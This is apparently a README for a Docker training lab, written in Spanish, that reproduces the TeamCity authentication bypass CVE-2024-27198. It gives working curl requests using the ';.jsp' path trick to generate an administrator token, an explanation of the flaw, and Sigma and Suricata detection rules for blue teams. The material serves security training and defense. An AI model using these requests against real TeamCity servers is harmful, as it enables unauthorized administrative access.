ne0zer01/cve-2024-27198_labLaboratorio basado en Docker para la omisión de autenticación CVE-2024-27198 de TeamCity. Incluye reproducción del exploit, búsqueda de IoC con reglas Sigma/Suricata y ejercicios de detección para el equipo azul en entrenamiento de seguridad.
TeamCity proporciona una página solo para administradores para la gestión de tokens que no está protegida por autenticación. Esto permite que un usuario no autenticado genere un token de acceso para el usuario administrador si puede encontrar un ID de un usuario existente.
La vulnerabilidad reside en el mecanismo de enrutamiento de la API REST. Al añadir caracteres específicos (como ?jsp=/app/rest/...;.jsp) a un endpoint no autenticado, los atacantes pueden engañar al servidor web de TeamCity para que enrute la solicitud a un endpoint autenticado mientras evitan los filtros de seguridad. Esto no requiere conocimiento previo ni acceso, lo que lo convierte en un CVSS puro de 9.8.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Acceda a la instancia vulnerable de Teamcity en http://localhost:8111. Acceda a la instancia parcheada de Teamcity en http://localhost:8112.
Nombre de usuario:
admin
Contraseña:
admin
Solicitud GET para un recurso sin autenticación:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Ambos deben devolver un error con código de estado 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Esto debe devolver un token como este (El token es diferente cada vez):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Esto debe devolver un error con código de estado 401 porque la instancia parcheada no tiene la vulnerabilidad.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Debe devolver la lista de usuarios.
Durante la demostración en el laboratorio, puede mostrar un hallazgo masivo del Equipo Azul: ¡por defecto, esta vulnerabilidad es increíblemente sigilosa!
;.jsp no se registran.Entonces, ¿cómo lo atrapamos? ¡Cuando el atacante borra sus huellas! Cuando el atacante elimina su token malicioso para ocultarse, TeamCity sí lo registra.
Encuentre al atacante cubriendo sus huellas en los registros de auditoría:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Verá una entrada de registro que indica que el token "REDTEAM" fue eliminado).
docker compose -f docker-compose.yml down
Esta vulnerabilidad es una instancia de CWE-288: Evasión de Autenticación Usando una Ruta o Canal Alternativo.
El fallo proviene de un problema de confusión de ruta entre el servidor web Tomcat y el enrutador de la aplicación TeamCity. Al añadir ;.jsp y pasar el endpoint de la API REST objetivo en el parámetro jsp=, el filtro de seguridad inicial interpreta la solicitud como una solicitud no autenticada a un archivo .jsp público (lo que está permitido). Sin embargo, el enrutador interno elimina el ;.jsp y reenvía la solicitud al endpoint restringido /app/rest/ sin aplicar el filtro de autenticación.
Caso de Uso Legítimo (¿Por qué se permite ;?):
Tomcat usa el carácter de punto y coma (;) para Parámetros de Matriz. Históricamente, este mecanismo se utiliza para pasar parámetros directamente dentro de la ruta, como añadir JSESSIONID para mantener el estado de la sesión del usuario cuando las cookies están deshabilitadas. Este comportamiento normal y legítimo del servidor web, combinado con la validación incorrecta por parte del enrutador de la aplicación TeamCity, es lo que crea la vulnerabilidad.
Para detectar un compromiso en curso o pasado, los Equipos Azules deben buscar:
/app/rest/ pero que contengan la cadena anómala ;.jsp en la URI.teamcity-server.log): Generación inexplicada de tokens de acceso o creación de nuevas cuentas administrativas.Debido a que la explotación inicial es sigilosa por defecto, los Equipos Azules deben confiar en la detección de las acciones posteriores a la explotación del atacante, como cubrir sus huellas. Aquí hay una regla Sigma para su SIEM para detectar eliminaciones de tokens sospechosas:
title: Eliminación Sospechosa de Token en JetBrains TeamCity (Post-Explotación CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detecta a un atacante cubriendo sus huellas después de explotar CVE-2024-27198 eliminando su token malicioso.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Para demostrar que esta detección funciona, ejecute el script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Para detectar este intento de explotación en la red, un SOC puede implementar la siguiente regla IDS, que busca el patrón anómalo ;.jsp combinado con rutas de la API REST:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Para demostrar que la mitigación funciona, puede lanzar la misma carga útil de explotación contra el contenedor parcheado de TeamCity que se ejecuta en el puerto 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Debido a que el parche aplica estrictamente la coincidencia de rutas y sanitiza correctamente los parámetros de matriz, la evasión fallará. Debería ver una respuesta 401 No Autorizado o 404 No Encontrado en lugar de un token generado.